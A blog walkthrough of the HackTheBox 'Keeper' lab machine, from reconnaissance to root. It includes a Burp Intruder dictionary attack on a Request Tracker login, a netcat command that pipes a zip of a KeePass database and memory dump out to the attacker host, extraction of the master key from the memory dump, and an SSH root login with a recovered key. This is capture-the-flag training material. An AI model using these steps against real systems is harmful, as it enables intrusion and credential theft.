top of page
pragmat1c0n3

Offensive-S3c: Keeper - HackTheBox

Updated: Nov 6, 2024

<Introduction>

In this blog post, I will be doing a walkthrough of the HackTheBox Keeper vulnerable host. I’ll provide a walkthrough of reconnaissance through post-exploitation. This will include performing port scanning, service enumeration, dictionary attack, memory dump data extraction, and privilege escalation.


If you find this content informative and you are interested in cybersecurity, regularly check back on the Cyb3r-S3c website. Also for more free content please like and subscribe to the Cyb3r-0verwatch channel.



<OVERVIEW>

Keeper is a vulnerable host created by Knightmare. The Linux OS is running a vulnerable web application and contains a variety of insecure misconfigurations, such as a weak password policy. It was created to allow users to practice ethical hacking techniques. This virtual machine is accessible from HackTheBox.






<Enumerating What is Running>

I went ahead and started my target host Keeper. After launching the host,  it usually takes less than a minute to start. As shown on the HackTheBox console the target host now has an IP. I’ll need to get a good understanding on what is running on this host in order for me to exploit this host and get root. This is where information gathering comes into play as a good starting point is determining what ports are open and what services are running on them.


nmap -sS -p- -A -T4 -vv 10.10.11.227

I will be using Nmap for active information gathering. As opposed to other tools that are available, I like using Nmap due to its built-in network traffic sensing capability. This capability allows Nmap to throttle scans when it senses high network latency making scans a little more accurate. I’ll run the following command shown in the CLI. I’ll scan all 65 thousand 535 ports using the -p- switch in order to determine what ports are open and services may be listening on them.



<Analyzing the Results>

Nmap scan completed and the results show three open ports running on the target host. Port 22 (SSH), and port 80 (HTTP) that looks to be running Nginx and port 8000 HTTP that looks to be running 'simple http server'. The simple server is more than likely an artifact from a previous pentester, so I will skip that port.



<OS Identification>

Looking at the 'Service Info', Nmap detects that the OS is Linux. Although Nmap doesn't definitively state the Linux distribution, such RHEL or CentOS I at least have a good idea based on ssh service running and service banners showing Ubuntu. This helps me by reducing my scope of enumeration to Linux based OS’s, allowing me to exclude windows OS or network devices. The first service I will review is port 80.



<Looking for A Weakness>

When I browse to port 80, I get the page shown on the screen. It contains a link to 'keeper.htb/rt'.

When I click on the link, I get a “server not found” error message and it shows the web address as 'tickets.keeper.htb/rt/'. This usually indicates that the hostname/IP needs to be added to the '/etc/hosts' file. 

echo "10.10.11.227  ticket.keeper.htb" >> /etc/hosts

To resolve this I’ll run the following command shown in the CLI to add the IP/hostname to my Kali’s hosts file.

After adding the IP and hostname to my Kali’s hosts file, I refresh and the site displays a login page. 

Reviewing the page I can see that the Request Tracker web app is version '4.4.4+dsfg-2' and that the server OS is Ubuntu. 

ffuf -u http://10.10.11.227/rt/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -r true

Now that I am able to view the site, I can start investigating the site to see what I can find. I’ll start a web fuzzer in this case Ffuf as shown in the CLI to crawl the site for hidden directories and pages, while I manually review the site.

Ffuf completed and did not find anything. 



<Webapp Testing>

Unfortunately for me Ffuf didn't find anything. I opened Burpsuite to crawl the site and so I can review the requests and responses.


I first send the request with the login test to Intruder.

Now that the request is in Intruder, I added the section marks before and after “test” for both username and password.

I select “pitchfork” as the attack type.

I need to configure my payload, so I clicked on the payload tab.


For the first payload set I leave it on 1 and payload type I leave it on simple list.


I load “top-usernames-shortlist” from Seclists directory.

For the second payload set I set it to 2. I leave payload type on simple list.


I click load and select top-passwords-shortlist from the Seclists directory.


I click “Start Attack”.


Now that Burpsuite has completed, I sorted the requests by length. As can be seen on the screen, most of the requests have similar lengths hovering over 5000. There is one request that has a status code of 302 and length of 332.


I’ll try root and password for the login and see what happens. Using the possible credentials obtained from running a dictionary attack with Burpsuite, Ill try to login with username root and password as password.

Sure enough I was able to login successfully with the username root and password as password.

Doing some recon, I click Admin then Users and I can see a user account "lisa norgaard" and username "lnorgaard".


I can also see a root account, which seems to be associated with the OS based on the email address root@localhost

I click on the root account and there is really nothing interesting.

Clicking on lisa norgaard’s account, in the details at the bottom are credentials in cleartext. I now have 'lnorgaard' as a username and password 'welcome2023!' that could allow me to login to the target host.



<Getting that Foothold>

Lets see if I can login to the target host with 'lnorgaard'. I run the following command shown in the CLI.

I get prompted to enter a password and I enter 'welcome2023!'

And it looks like that allowed me to authenticate to the host as 'lnorgaard'.



<Enumerating that Host>

I ran 'sudo -l' to see if 'lnorgaard' is able to run any programs as root, but the account was not. Unfortunately, this account does not have Sudo privileges.

I ran the 'ls -la' command to see the contents of lnorgaard’s home directory. I see a few interesting files. I see the 'user.txt' file containing the first flag.

I’ll ran 'cat' user.txt to get the first flag.

I noticed earlier there was zipped file "RT30000.zip" that when extracted appeared to have a Keepass database file. I’ll transfer the zip file to Kali for review especially since the target host will not have John the Ripper.

I did run the NC command and it looks like Netcat is installed, so I will transfer all the noted files using Netcat.

nc 10.10.16.119 4444 < RT30000.zip

I'll run the following commands on the target host. This will allow me to download all the noted files from the target host.

nc -lvnp 4444 > RT30000.zip

In order to successfully download the zip file I needed to run a Netcat listener with the command shown in the CLI. Looking at my Netcat listener you can see that the target host has started a session.

Looking in the Downloads folder, I can see that I downloaded all the files successfully.



<Time to Crack Some Hashes>

There are a couple of things I can try. I try to crack the Keepass masterkey, which would allow me to access the Keepass database or I can try to extract the data from the Keepass memory dump and see if I can obtain the masterkey that might possibly be cached in memory.

keepass2john passcodes.kdbx

I ran the following command shown in the CLI.  Keepass2John is a tool used to extract the masterkey hash from a KeePass database file and converts it into a format that can be used with John the Ripper. 

echo "<hash>" >> hash.txt

The hash is now extracted into a more usable format.

I saved the hash to a file called 'hash.txt'.

To make the hash usable by Hashcat, I'll need to modify the hash by removing the “passcodes:” portion. I can then try to crack the hash with Hashcat.

hashcat --help | grep "KeePass"

I ran the help command shown in the CLI to find the mode I’ll need to use for Keepass. I found two results, but I'll go with the first one mode 13400.

hashcat -m 13400 -a 0 /home/kali/Downloads/RT30000/hash.txt /home/kali/Downloads/rockyou.txt

I’ll run the following command shown in the CLI to attempt to crack the hash.


While Hashcat is attempting to crack the hash, I googled to see if there was a tool to dump the contents of the Keepass dmp file. I found the following Github page.

I downloaded the Keepass dump masterkey tool from the Github page. I’ll try to extract the memory dump information using Keepass master dumper.

python3 poc.py /home/kali/Downloads/RT30000/KeppPassDumpFull.dmp

After running the tool it looks like it gives me several possibilities for the Keepass db password. 

One thing of note, reviewing the Github page it advises that the first character won’t be found and for the second character the tool will only provide possibilities.

Instead of trying to brute force the first two characters, I just decided to google output provided by the tool excluding the first two characters. The results in google looks like a good possibility, especially when the user's name 'lisa norgaard' seems to be danish and 'rødgrød med fløde' is a danish dessert.

apt-get -y install keepassx

In order for me to attempt the possible Keepass db password, Ill need a way to access the Keepass db. I installed Keepassx using the following command shown in the CLI.

kepassxc passcodes.kdbx

I ran the following command shown in the CLI to open the Keepass database. 

I get prompted to enter a password in order to unlock the Keepass database. Lets see if my assumption was correct about the password dumped from Keepass dump masterkey tool.

I enter the possible password obtained thru the use of Keepass dump masterkey tool along with google searching.

It looks like it was the correct Keepass db password. Looking at the network folder I can see the root account credentials along with the private key. 

I copied the putty key to a textfile and named it 'id_rsa'.

puttygen id_rsa -O private-openssh -o id_rsa

I’ll run the Puttygen command shown in the CLI to convert the putty private key to an Openssh key.



<Escalating those Privileges>

When I cat the 'id_rsa' file you can see it has a different format than the Putty private key. Now I can attempt to authenticate directly from my CLI.

chmod 600 id_rsa

Before I attempt to login, I need to make sure I run 'chmod' on the 'id_rsa' file as shown in the CLI. Otherwise, I will get an error that will prevent me from logging in.

ssh -i id_rsa root@10.10.11.227

After making the necessary changes, I’ll try logging in using the command shown in the CLI.

As can be seen, I was able to login to the target host as 'root'.

I run the 'ls -la' command to see the contents in the directory. From the output I can see the 'root.txt' file.

I cat the 'root.txt' file and I am able to see the root flag. I have successfully captured both the user flag and root flag to complete the host.



 <CONCLUSION>

In this walkthrough I highlighted a variety of techniques I was able to implement to go from reconnaissance to gaining root privileges on the target host. Executing these steps allowed me to gather the information I needed to gain a foothold on the target host through a dictionary attack on the request tracker web application login. Once gaining access to the web application I was able to gain access to the ticketing system that contained sensitive information, in this case a standard user's credentials.With these credentials, I was able to authenticate via ssh to the target host. Accessing the target host via ssh with the standard user account allowed me to transfer the Keepass memory dump file and database to my Kali system to perform further enumeration where I was able to read the contents of the dump file to retrieve the Keepass master key. Using the Keepass master key I was able to unlock the database to retrieve the root account credentials and private key. Once retrieved I was able to  authenticate to the target host as root and access the final flag.


Thank you for checking out my blog post demonstrating the exploitation of HackTheBox Keeper vulnerable host.  If you find this content informative and you are interested in cybersecurity, please regularly check back on the Cyb3r-S3c website. For more free content, please like and subscribe to the Cyb3r-0verwatch channel. Until next time keep learning, the only way to improve is to keep learning.


/Signing Off,

Pragmat1c_0n3 


 


Recent Posts

See All

Comments


bottom of page